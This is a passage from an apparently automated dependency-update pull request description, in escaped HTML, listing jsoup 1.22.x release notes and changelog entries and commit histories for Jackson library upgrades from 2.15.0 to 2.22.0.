omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2493\"\u003e#2493\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAndroid (R8/ProGuard): added a rule to ignore the optional \u003ccode\u003ere2j\u003c/code\u003e dependency when not present. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2459\"\u003e#2459\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eFixed a \u003ccode\u003eNodeTraversor\u003c/code\u003e regression in 1.21.2 where removing or replacing the current node during \u003ccode\u003ehead()\u003c/code\u003e could revisit the replacement node and loop indefinitely. The traversal docs now also clarify which inserted nodes are visited in the current pass. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2472\"\u003e#2472\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eParsing during charset sniffing no longer fails if an advisory \u003ccode\u003eavailable()\u003c/code\u003e call throws \u003ccode\u003eIOException\u003c/code\u003e, as seen on JDK 8 \u003ccode\u003eHttpURLConnection\u003c/code\u003e. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2474\"\u003e#2474\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eCleaner\u003c/code\u003e no longer makes relative URL attributes in the input document absolute when cleaning or validating a \u003ccode\u003eDocument\u003c/code\u003e. URL normalization now applies only to the cleaned output, and \u003ccode\u003eSafelist.isSafeAttribute()\u003c/code\u003e is side effect free. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2475\"\u003e#2475\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eCleaner\u003c/code\u003e no longer duplicates enforced attributes when the input \u003ccode\u003eDocument\u003c/code\u003e preserves attribute case. A case-variant source attribute is now replaced by the enforced attribute in the cleaned output. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2476\"\u003e#2476\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eIf a per-request SOCKS proxy is configured, jsoup now avoids using the JDK \u003ccode\u003eHttpClient\u003c/code\u003e, because the JDK would silently ignore that proxy and attempt to connect directly. Those requests now fall back to the legacy \u003ccode\u003eHttpURLConnection\u003c/code\u003e transport instead, which does support SOCKS. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2468\"\u003e#2468\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eConnection.Response.streamParser()\u003c/code\u003e and \u003ccode\u003eDataUtil.streamParser(Path, ...)\u003c/code\u003e could fail on small inputs without a declared charset, if the initial 5 KB charset sniff fully consumed the input and closed it before the stream parse began. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2483\"\u003e#2483\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eIn XML mode, doctypes with an internal subset, such as \u003ccode\u003e\u0026lt;!DOCTYPE root [\u0026lt;!ENTITY name \u0026quot;value\u0026quot;\u0026gt;]\u0026gt;\u003c/code\u003e, now round-trip correctly. The subset is preserved as raw text only; entities are not expanded and external DTDs are not loaded. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2486\"\u003e#2486\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBuild Changes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMigrated the integration test server from Jetty to Netty, which actively maintains support for our minimum JDK target (8). \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2491\"\u003e#2491\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eMy sincere thanks to everyone who contributed to this release!\nIf you have any suggestions for the next release, I would love to hear them; please get in touch via \u003ca href=\"https://github.com/jhy/jsoup/discussions\"\u003ejsoup discussions\u003c/a\u003e, or with me \u003ca href=\"https://jhedley.com/\"\u003edirectly\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eYou can also \u003c!-- raw HTML omitted --\u003efollow me\u003c!-- raw HTML omitted --\u003e (\u003c!-- raw HTML omitted --\u003e\u003c!-- raw HTML omitted --\u003e@\u003ca href=\"mailto:jhy@tilde.zone\"\u003ejhy@tilde.zone\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c!-- raw HTML omitted --\u003e) on Mastodon / Fediverse to receive occasional notes about jsoup releases.\u003c/p\u003e\n\u003ch2\u003ejsoup Java HTML Parser release 1.22.1\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003ejsoup 1.22.1\u003c/strong\u003e is out now, adding support for the \u003ccode\u003ere2j\u003c/code\u003e regular expression engine for regex-based CSS selectors, a configurable maximum parser depth, and numerous bug fixes and improvements.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ejsoup\u003c/strong\u003e is a Java library for working with real-world HTML and XML. It provides a very convenient API for extracting and manipulating data, using the best of HTML5 DOM methods and CSS selectors.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://jsoup.org/download\"\u003e\u003cstrong\u003eDownload\u003c/strong\u003e\u003c/a\u003e jsoup now.\u003c/p\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded support for using the \u003ccode\u003ere2j\u003c/code\u003e regular expression engine for regex-based CSS selectors (e.g. \u003ccode\u003e[attr~=regex]\u003c/code\u003e, \u003ccode\u003e:matches(regex)\u003c/code\u003e), which ensures linear-time performance for regex evaluation. This allows safer handling of arbitrary user-supplied query regexes. To enable, add the \u003ccode\u003ecom.google.re2j\u003c/code\u003e dependency to your classpath, e.g.:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre lang=\"xml\"\u003e\u003ccode\u003e  \u0026lt;dependency\u0026gt;\r\n    \u0026lt;groupId\u0026gt;com.google.re2j\u0026lt;/groupId\u0026gt;\r\n    \u0026lt;artifactId\u0026gt;re2j\u0026lt;/artifactId\u0026gt;\r\n    \u0026lt;version\u0026gt;1.8\u0026lt;/version\u0026gt;\r\n  \u0026lt;/dependency\u0026gt;\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e(If you already have that dependency in your classpath, but you want to keep using the Java regex engine, you can disable re2j via \u003ccode\u003eSystem.setProperty(\u0026quot;jsoup.useRe2j\u0026quot;, \u0026quot;false\u0026quot;)\u003c/code\u003e.) You can confirm that the re2j engine has been enabled correctly by calling \u003ccode\u003eRegex.usingRe2j()\u003c/code\u003e. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2407\"\u003e#2407\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jhy/jsoup/blob/master/CHANGES.md\"\u003eorg.jsoup:jsoup's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.22.2 (2026-Apr-20)\u003c/h2\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExpanded and clarified \u003ccode\u003eNodeTraversor\u003c/code\u003e support for in-place DOM rewrites during \u003ccode\u003eNodeVisitor.head()\u003c/code\u003e. Current-node edits such as \u003ccode\u003eremove\u003c/code\u003e, \u003ccode\u003ereplace\u003c/code\u003e, and \u003ccode\u003eunwrap\u003c/code\u003e now recover more predictably, while traversal stays within the original root subtree. This makes single-pass tree cleanup and normalization visitors easier to write, for example when unwrapping presentational elements or replacing text nodes as you walk the DOM. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2472\"\u003e#2472\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDocumentation: clarified that a configured \u003ccode\u003eCleaner\u003c/code\u003e may be reused across concurrent threads, and that shared \u003ccode\u003eSafelist\u003c/code\u003e instances should not be mutated while in use. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2473\"\u003e#2473\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdated the default HTML \u003ccode\u003eTagSet\u003c/code\u003e for current HTML elements: added \u003ccode\u003edialog\u003c/code\u003e, \u003ccode\u003esearch\u003c/code\u003e, \u003ccode\u003epicture\u003c/code\u003e, and \u003ccode\u003eslot\u003c/code\u003e; made \u003ccode\u003eins\u003c/code\u003e, \u003ccode\u003edel\u003c/code\u003e, \u003ccode\u003ebutton\u003c/code\u003e, \u003ccode\u003eaudio\u003c/code\u003e, \u003ccode\u003evideo\u003c/code\u003e, and \u003ccode\u003ecanvas\u003c/code\u003e inline by default (\u003ccode\u003eTag#isInline()\u003c/code\u003e, aligned to phrasing content in the spec); and added readable \u003ccode\u003eElement.text()\u003c/code\u003e boundaries for controls and embedded objects via the new \u003ccode\u003eTag.TextBoundary\u003c/code\u003e option. This improves pretty-printing and keeps normalized text from running adjacent words together. \u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2493\"\u003e#2493\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAndroid (R8/ProGuard): added a rule to ignore the optional \u003ccode\u003ere2j\u003c/code\u003e dependency when not present. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2459\"\u003e#2459\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFixed a \u003ccode\u003eNodeTraversor\u003c/code\u003e regression in 1.21.2 where removing or replacing the current node during \u003ccode\u003ehead()\u003c/code\u003e could revisit the replacement node and loop indefinitely. The traversal docs now also clarify which inserted nodes are visited in the current pass. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2472\"\u003e#2472\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eParsing during charset sniffing no longer fails if an advisory \u003ccode\u003eavailable()\u003c/code\u003e call throws \u003ccode\u003eIOException\u003c/code\u003e, as seen on JDK 8 \u003ccode\u003eHttpURLConnection\u003c/code\u003e. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2474\"\u003e#2474\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eCleaner\u003c/code\u003e no longer makes relative URL attributes in the input document absolute when cleaning or validating a \u003ccode\u003eDocument\u003c/code\u003e. URL normalization now applies only to the cleaned output, and \u003ccode\u003eSafelist.isSafeAttribute()\u003c/code\u003e is side effect free. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2475\"\u003e#2475\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eCleaner\u003c/code\u003e no longer duplicates enforced attributes when the input \u003ccode\u003eDocument\u003c/code\u003e preserves attribute case. A case-variant source attribute is now replaced by the enforced attribute in the cleaned output. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2476\"\u003e#2476\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eIf a per-request SOCKS proxy is configured, jsoup now avoids using the JDK \u003ccode\u003eHttpClient\u003c/code\u003e, because the JDK would silently ignore that proxy and attempt to connect directly. Those requests now fall back to the legacy \u003ccode\u003eHttpURLConnection\u003c/code\u003e transport instead, which does support SOCKS. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2468\"\u003e#2468\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eConnection.Response.streamParser()\u003c/code\u003e and \u003ccode\u003eDataUtil.streamParser(Path, ...)\u003c/code\u003e could fail on small inputs without a declared charset, if the initial 5 KB charset sniff fully consumed the input and closed it before the stream parse began. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2483\"\u003e#2483\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eIn XML mode, doctypes with an internal subset, such as \u003ccode\u003e\u0026lt;!DOCTYPE root [\u0026lt;!ENTITY name \u0026quot;value\u0026quot;\u0026gt;]\u0026gt;\u003c/code\u003e, now round-trip correctly. The subset is preserved as raw text only; entities are not expanded and external DTDs are not loaded. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2486\"\u003e#2486\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBuild Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMigrated the integration test server from Jetty to Netty, which actively maintains support for our minimum JDK target (8). \u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2491\"\u003e#2491\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.22.1 (2026-Jan-01)\u003c/h2\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded support for using the \u003ccode\u003ere2j\u003c/code\u003e regular expression engine for regex-based CSS selectors (e.g. \u003ccode\u003e[attr~=regex]\u003c/code\u003e, \u003ccode\u003e:matches(regex)\u003c/code\u003e), which ensures linear-time performance for regex evaluation. This allows safer handling of arbitrary user-supplied query regexes. To enable, add the \u003ccode\u003ecom.google.re2j\u003c/code\u003e dependency to your classpath, e.g.:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre lang=\"xml\"\u003e\u003ccode\u003e  \u0026lt;dependency\u0026gt;\n    \u0026lt;groupId\u0026gt;com.google.re2j\u0026lt;/groupId\u0026gt;\n    \u0026lt;artifactId\u0026gt;re2j\u0026lt;/artifactId\u0026gt;\n    \u0026lt;version\u0026gt;1.8\u0026lt;/version\u0026gt;\n  \u0026lt;/dependency\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e(If you already have that dependency in your classpath, but you want to keep using the Java regex engine, you can disable re2j via \u003ccode\u003eSystem.setProperty(\u0026quot;jsoup.useRe2j\u0026quot;, \u0026quot;false\u0026quot;)\u003c/code\u003e.) You can confirm that the re2j engine has been enabled correctly by calling \u003ccode\u003eorg.jsoup.helper.Regex.usingRe2j()\u003c/code\u003e. \u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2407\"\u003e#2407\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdded an instance method \u003ccode\u003eParser#unescape(String, boolean)\u003c/code\u003e that unescapes HTML entities using the parser's configuration (e.g. to support error tracking), complementing the existing static utility \u003ccode\u003eParser.unescapeEntities(String, boolean)\u003c/code\u003e. \u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2396\"\u003e#2396\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdded a configurable maximum parser depth (to limit the number of open elements on stack) to both HTML and XML parsers. The HTML parser now defaults to a depth of 512 to match browser behavior, and protect against unbounded stack growth, while the XML parser keeps unlimited depth by default, but can opt into a limit via \u003ccode\u003eorg.jsoup.parser.Parser#setMaxDepth\u003c/code\u003e. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2421\"\u003e#2421\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBuild: added CI coverage for JDK 25 \u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2403\"\u003e#2403\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBuild: added a CI fuzzer for contextual fragment parsing (in addition to existing full body HTML and XML fuzzers). [oss-fuzz \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/14041\"\u003e#14041\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/google/oss-fuzz/pull/14041\"\u003egoogle/oss-fuzz#14041\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanges\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSet a removal schedule of jsoup 1.24.1 for previously deprecated APIs.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePreviously cached child \u003ccode\u003eElements\u003c/code\u003e of an \u003ccode\u003eElement\u003c/code\u003e were not correctly invalidated in \u003ccode\u003eNode#replaceWith(Node)\u003c/code\u003e, which could lead to incorrect results when subsequently calling \u003ccode\u003eElement#children()\u003c/code\u003e. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2391\"\u003e#2391\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAttribute selector values are now compared literally without trimming. Previously, jsoup trimmed whitespace from selector values and from element attribute values, which could cause mismatches with browser behavior (e.g. \u003ccode\u003e[attr=\u0026quot; foo \u0026quot;]\u003c/code\u003e). Now matches align with the CSS specification and browser engines. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2380\"\u003e#2380\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWhen using the JDK HttpClient, any system default proxy (\u003ccode\u003eProxySelector.getDefault()\u003c/code\u003e) was ignored. Now, the system proxy is used if a per-request proxy is not set. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2388\"\u003e#2388\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2390\"\u003e#2390\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eA \u003ccode\u003eValidationException\u003c/code\u003e could be thrown in the adoption agency algorithm with particularly broken input. Now logged as a parse error. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2393\"\u003e#2393\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eNull characters in the HTML body were not consistently removed; and in foreign content were not correctly replaced. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2395\"\u003e#2395\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAn \u003ccode\u003eIndexOutOfBoundsException\u003c/code\u003e could be thrown when parsing a body fragment with crafted input. Now logged as a parse error. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2397\"\u003e#2397\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2406\"\u003e#2406\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWhen using StructuralEvaluators (e.g., a \u003ccode\u003eparent child\u003c/code\u003e selector) across many retained threads, their memoized results could also be retained, increasing memory use. These results are now cleared immediately after use, reducing overall memory consumption. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2411\"\u003e#2411\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCloning a \u003ccode\u003eParser\u003c/code\u003e now preserves any custom \u003ccode\u003eTagSet\u003c/code\u003e applied to the parser. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2422\"\u003e#2422\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2423\"\u003e#2423\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/ac28afe6e5bf96d39fd17c3e0a797a7585e1958c\"\u003e\u003ccode\u003eac28afe\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jsoup-1.22.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/52f2cd3ea2004b9be0e0a09021bac7ce2daf8ae4\"\u003e\u003ccode\u003e52f2cd3\u003c/code\u003e\u003c/a\u003e Improve entity example in changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/cf6ffe08616f8633ee6113b91f9d6a07acef38c6\"\u003e\u003ccode\u003ecf6ffe0\u003c/code\u003e\u003c/a\u003e Add Tag#TextBoundary option; bring TagSet to spec (\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2493\"\u003e#2493\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/2be739c1c659a1592c402a5441f8be6f7881280c\"\u003e\u003ccode\u003e2be739c\u003c/code\u003e\u003c/a\u003e Bump github/codeql-action from 4 to 4.35.1 (\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2492\"\u003e#2492\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/45de7cbc215eb3f1189d23eaf57acf6f7b1a5edf\"\u003e\u003ccode\u003e45de7cb\u003c/code\u003e\u003c/a\u003e Migrate integration test server from Jetty to Netty (\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2491\"\u003e#2491\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/1df14edbfc327a1ef309142ef5e8ed68324de320\"\u003e\u003ccode\u003e1df14ed\u003c/code\u003e\u003c/a\u003e Preserve XML doctype internal subset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/06fa52d15a22003b67dfdb3f8220cc025d493a43\"\u003e\u003ccode\u003e06fa52d\u003c/code\u003e\u003c/a\u003e Adding Contribution Guide\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/d4a8941820c037327538c30a8723ec715b67b6f6\"\u003e\u003ccode\u003ed4a8941\u003c/code\u003e\u003c/a\u003e Simplify the test; doesn't need the buffer\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/823709f519995492d9a092fe315af389616e58f8\"\u003e\u003ccode\u003e823709f\u003c/code\u003e\u003c/a\u003e Don't reuse a fully read sniffed doc for StreamParser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jhy/jsoup/commit/e1b0df5fec53710214cd700de38d82e1ca92bd79\"\u003e\u003ccode\u003ee1b0df5\u003c/code\u003e\u003c/a\u003e NodeFilter javadoc tweak\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jhy/jsoup/compare/jsoup-1.15.3...jsoup-1.22.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-databind` from 2.15.0 to 2.22.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/FasterXML/jackson/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.core:jackson-core` from 2.15.0 to 2.22.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/d763562443cc9d6e224a6265ca3710195c813cf5\"\u003e\u003ccode\u003ed763562\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.22.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/e5c69fe5f7be957490d52dae70787e7a8138ddda\"\u003e\u003ccode\u003ee5c69fe\u003c/code\u003e\u003c/a\u003e Re-do 2.22.0 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/0ba6a369eaa19a71b2b63fe40b1e9d317c0eb522\"\u003e\u003ccode\u003e0ba6a36\u003c/code\u003e\u003c/a\u003e Bump version after release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/b106011025f6447695e21ddbb9fd3952d284d10c\"\u003e\u003ccode\u003eb106011\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/18a7fe416a0bf666f6c2ddc6da883bc96382dd2d\"\u003e\u003ccode\u003e18a7fe4\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.22.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/503a14ffa4a74ad56a02fd25f0cd997df163c647\"\u003e\u003ccode\u003e503a14f\u003c/code\u003e\u003c/a\u003e Re-do 2.22.0 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/ab95bc0056119f08ef721849be5e5f2c256b82cd\"\u003e\u003ccode\u003eab95bc0\u003c/code\u003e\u003c/a\u003e ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/0a4b8dedee08e159fddca5eb8e812c1ad881017a\"\u003e\u003ccode\u003e0a4b8de\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/719a42f3676ab3c10e3cd057966807b2206151e7\"\u003e\u003ccode\u003e719a42f\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/92488484b64bc348c43e5a7ff910d93c2f9e9b9c\"\u003e\u003ccode\u003e9248848\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.22.0\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-core/compare/jackson-core-2.15.0...jackson-core-2.22.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.fasterxml.jackson.dataformat:jackson-dataformat-xml` from 2.15.0 to 2.22.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/4c702ae0cd9870cb7415fb09d9b22412db78b972\"\u003e\u003ccode\u003e4c702ae\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformat-xml-2.22.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/e6a9a509481c03c4cdd2e4bc7745a076bbf06942\"\u003e\u003ccode\u003ee6a9a50\u003c/code\u003e\u003c/a\u003e Prep for 2.22.0 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/80735f20d588dc859ff2bf9427f0d6dfb5c71a7e\"\u003e\u003ccode\u003e80735f2\u003c/code\u003e\u003c/a\u003e Merge branch '2.21' into 2.x\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/5e5f3faa1232ad49c0a0ff0a3e7bd96cc659f850\"\u003e\u003ccode\u003e5e5f3fa\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/4c482a6404e6c076130ea2fa3d06e0809f20971d\"\u003e\u003ccode\u003e4c482a6\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/e29dfd957b47ec3982d20c4a97aa608516ce5ee9\"\u003e\u003ccode\u003ee29dfd9\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-dataformat-xml-2.21.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/5d81f46097903e1e88b90ef06515d559caf1ef68\"\u003e\u003ccode\u003e5d81f46\u003c/code\u003e\u003c/a\u003e Prep for 2.21.4 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/5db34fe1003e7f6bed78d5e7dc43c75842895f4c\"\u003e\u003ccode\u003e5db34fe\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/a12b8dfd547b08f808b4189746e00bb203ab08c1\"\u003e\u003ccode\u003ea12b8df\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/commit/7ae7fdbb007ac18c44bddb7515becc1789830db5\"\u003e\u003ccode\u003e7ae7fdb\u003c/code\u003e\u003c/a\u003e Merge branch '2.18' into 2.19\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-dataformat-xml/compare/jackson-dataformat-xml-2.15.0...jackson-dataformat-xml-2.22.0\"\u003ecompare 